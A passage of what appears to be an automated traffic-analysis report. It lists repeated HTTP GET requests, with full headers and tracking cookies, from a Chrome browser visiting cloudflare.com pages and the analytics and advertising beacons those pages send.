Source: global traffic	HTTP traffic detected: GET /ipv?_biz_r=https%3A%2F%2Fwww.cloudflare.com%2Funder-attack-hotline%2F&_biz_h=-1777624096&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_t=1729259323840&_biz_i=Contact%20Enterprise%20Sales%20%7C%20Speak%20to%20an%20Expert%20%7C%20Cloudflare&_biz_n=5&rnd=128309&cdn_o=a&_biz_z=1729259323841 HTTP/1.1Host: cdn.bizible.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea
Source: global traffic	HTTP traffic detected: GET /api/v1/marketo/form/4116 HTTP/1.1Host: api.www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261176; s_sq=cloudflareinccloudflareincmktsite-prod%3D%2526c.%2526a.%2526activitymap.%2526page%253Dhttps%25253A%25252F%25252Fwww.cloudflare.com%25252Flearning%25252Faccess-management%25252Fphishing-attack%25252F%2526link%253DContact%252520sales%2526region%253DrightNav%2526.activitymap%2526.a%2526.c%2526pid%253Dhttps%25253A%25252F%25252Fww
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261176; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259320340%2C%22hasActivity%22:true%2C%22recordingConditionThreshold%22:79.54295221373373};
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=768791413 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=1764856892 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=193120652 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /g/collect?t=dc&aip=1&_r=3&v=1&_v=j86&tid=G-PGV1K2BN4M&cid=a8822828-d72d-47ee-8bfe-e216a11a3cfa&_u=KGDAAEADQAAAAC%7E&z=101664453 HTTP/1.1Host: stats.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://www.cloudflare.comX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /i?a=ykolez%2Fcloudflarecom&r=5-dc035e4b-bab8-4a6d-b320-2245e692f947&t=201461db-6e08-416b-adaf-8f4c9166cf13&s=0&rs=0%2Ct&ct=79.54295221373373 HTTP/1.1Host: r.logr-ingest.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=ff6f9a09-c979-4605-8dee-4077f62f4dfc HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=a63d2597-ca0d-4362-9374-89bddc3fe624 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; cfz_reddit=%7B%22fZaD_reddit_uuid%22%3A%7B%22v%22%3A%221729259290739.ba8ef504-ac9b-4995-be02-177cd5f1712a%22%2C%22e%22%3A1760795290739%7D%7D; _gcl_au=1.1.60243659.1729259291; AMCVS_8AD56F28618A50850A495FB6%40AdobeOrg=1; _biz_uid=1f89ada7504445dddeb1bdf0ffe279ea; __q_state_37pXYrro6wCZbsU7=eyJ1dWlkIjoiYzE5MTBjOWItZjJhMi00NzA1LThmYzAtNWJhOTdmMzZlYmJlIiwiY29va2llRG9tYWluIjoiY2xvdWRmbGFyZS5jb20ifQ==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_identity=CiY1OTAyODU3MjYxNTU1NDU2MTcwMjMwMDk4Mjc2MDU0Mzg2MDQ5MVIRCKaWi_-pMhgBKgRJUkwxMAPwAaaWi_-pMg==; kndctr_8AD56F28618A50850A495FB6_AdobeOrg_cluster=irl1; _mkto_trk=id:713-XSC-918&token:_mch-cloudflare.com-6d2dd4077a0885252f53bdb344c7651b; AMCV_8AD56F28618A50850A495FB6%40AdobeOrg=179643557%7CMCIDTS%7C20015%7CMCMID%7C59028572615554561702300982760543860491%7CMCAAMLH-1729864091%7C6%7CMCAAMB-1729864091%7C6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y%7CMCOPTOUT-1729266491s%7CNONE%7CMCSYNCSOP%7C411-20022%7CvVersion%7C5.5.0; _biz_flagsA=%7B%22Version%22%3A1%2C%22Ecid%22%3A%221554136751%22%2C%22ViewThrough%22%3A%221%22%2C%22Mkto%22%3A%221%22%2C%22XDomain%22%3A%221%22%7D; _uetsid=9e9217208d5711ef9f942d37e672568f\|3ic4om\|2\|fq4\|0\|1752; mboxEdgeCluster=37; mbox=session#59028572615554561702300982760543860491-cAgcPi#1729261176; _lr_tabs_-ykolez%2Fcloudflarecom={%22sessionID%22:0%2C%22recordingID%22:%225-dc035e4b-bab8-4a6d-b320-2245e692f947%22%2C%22lastActivity%22:1729259320340%2C%22hasActivity%22:true%2C%22recordingConditionThreshold%22:79.54295221373373};
Source: global traffic	HTTP traffic detected: GET /activity;dc_pre=CJuZ2P6ImIkDFQ9XHgIdYL86uw;src=9309168;type=a_pri_pv;cat=0p_qual;ord=241520067182;npa=0;auiddc=60243659.1729259291;u1=FL%20-%20Brand%20-%20GLOBAL%20-%20Quality%20Visit;u2=www.cloudflare.com;u3=%2Funder-attack-hotline%2F;u4=en-US;u5=1729259311617;u6=US;u7=false;u8=undefined;u9=undefined;u10=call_to_action;u12=undefined;ps=1;pcor=197428910;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4ah0v9164255219z8890325950za201zb890325950;gcs=G111;gcd=13r3r3r3r5l1;dma=0;tag_exp=101686685;epver=2? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUkmE8EPmxeoPrP1wyDQ1lfvLXjYeVbRJA_a42MOzQq1hj7xvGFTheR5ofctmH0
Source: global traffic	HTTP traffic detected: GET /activity;dc_pre=CN3D2f6ImIkDFYddHgIdbl4eUA;src=9309168;type=a_eng0;cat=3_timer;ord=8119111381538;npa=0;auiddc=60243659.1729259291;u1=timer_event%20(30%20Sec);u2=www.cloudflare.com;u3=%2Funder-attack-hotline%2F;u4=en-US;u5=1729259311617;u6=US;u7=false;u8=undefined;u9=undefined;u10=call_to_action;u12=undefined;ps=1;pcor=1253340237;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4ah0v9164255219z8890325950za201zb890325950;gcs=G111;gcd=13r3r3r3r5l1;dma=0;tag_exp=101686685;epver=2? HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.cloudflare.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUkmE8EPmxeoPrP1wyDQ1lfvLXjYeVbRJA_a42MOzQq1hj7xvGFTheR5ofctmH0
Source: global traffic	HTTP traffic detected: GET /ee/irl1/v1/interact?configId=715c679b-19c8-4402-8093-423571ad58c4&requestId=0ae803d5-6fa2-487b-8f4d-f2947c3072b6 HTTP/1.1Host: edge.adobedc.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=9309168;type=a_pri_pv;cat=0p_qual;ord=241520067182;npa=0;auiddc=60243659.1729259291;u1=FL%20-%20Brand%20-%20GLOBAL%20-%20Quality%20Visit;u2=www.cloudflare.com;u3=%2Funder-attack-hotline%2F;u4=en-US;u5=1729259311617;u6=US;u7=false;u8=undefined;u9=undefined;u10=call_to_action;u12=undefined;ps=1;pcor=197428910;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4ah0v9164255219z8890325950za201zb890325950;gcs=G111;gcd=13r3r3r3r5l1;dma=0;tag_exp=101686685;epver=2? HTTP/1.1Host: ad.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUkmE8EPmxeoPrP1wyDQ1lfvLXjYeVbRJA_a42MOzQq1hj7xvGFTheR5ofctmH0
Source: global traffic	HTTP traffic detected: GET /activity;register_conversion=1;src=9309168;type=a_eng0;cat=3_timer;ord=8119111381538;npa=0;auiddc=60243659.1729259291;u1=timer_event%20(30%20Sec);u2=www.cloudflare.com;u3=%2Funder-attack-hotline%2F;u4=en-US;u5=1729259311617;u6=US;u7=false;u8=undefined;u9=undefined;u10=call_to_action;u12=undefined;ps=1;pcor=1253340237;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4ah0v9164255219z8890325950za201zb890325950;gcs=G111;gcd=13r3r3r3r5l1;dma=0;tag_exp=101686685;epver=2? HTTP/1.1Host: ad.doubleclick.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlqHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ar_debug=1; IDE=AHWqTUkmE8EPmxeoPrP1wyDQ1lfvLXjYeVbRJA_a42MOzQq1hj7xvGFTheR5ofctmH0
Source: global traffic	HTTP traffic detected: GET /ipv?_biz_r=https%3A%2F%2Fwww.cloudflare.com%2Funder-attack-hotline%2F&_biz_h=-1777624096&_biz_u=1f89ada7504445dddeb1bdf0ffe279ea&_biz_l=https%3A%2F%2Fwww.cloudflare.com%2Fplans%2Fenterprise%2Fcontact%2F&_biz_t=1729259323840&_biz_i=Contact%20Enterprise%20Sales%20%7C%20Speak%20to%20an%20Expert%20%7C%20Cloudflare&_biz_n=5&rnd=128309&cdn_o=a&_biz_z=1729259323841 HTTP/1.1Host: cdn.bizible.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _BUID=1f89ada7504445dddeb1bdf0ffe279ea
Source: global traffic	HTTP traffic detected: GET /static/z/t HTTP/1.1Host: www.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: __cf_bm=c.Negr8h6Ze7rn2KazxNJfUCcbsMKl2XewnZvM6chtA-1729259280-1.0.1.1-SbXzfbaXTKC8vRv8u9w3yX3lEiNTekfJPw1yLUmMrNv3xUlrWLPPtvhUdvcJF9jY22pLsPmzrZpXEA9j3SRJXZvaBYrwuNzHi_NJoD4Cppc; _lr_hb_-ykolez%2Fcloudflarecom={%22heartbeat%22:1729259288674}; _lr_uf_-ykolez=2f4924f2-c49d-4ad6-809e-0cb84c9af7c1; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Oct+18+2024+09%3A48%3A09+GMT-0400+(Eastern+Daylight+Time)&version=202407.2.0&browserGpcFlag=0&isIABGlobal=false&hosts=&consentId=132bfd33-5771-4703-bbd3-88270fe7a4d7&interactionCount=0&isAnonUser=1&landingPath=https%3A%2F%2Fwww.cloudflare.com%2Flearning%2Faccess-management%2Fphishing-attack%2F&groups=SSPD_BG%3A1%2CC0004%3A1%2CC0002%3A1%2CC0003%3A1%2CC0001%3A1; cfz_facebook-pixel=%7B%22OwdI_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.46445497%22%2C%22e%22%3A1760795290739%7D%2C%22VVgx_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1078837643%22%2C%22e%22%3A1760795290739%7D%2C%22bHox_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.179883916%22%2C%22e%22%3A1760795290739%7D%2C%22elKW_fb-pixel%22%3A%7B%22v%22%3A%22fb.2.1729259290739.1318587325%22%2C%22e%22%3A1760795290739%7D%7D; 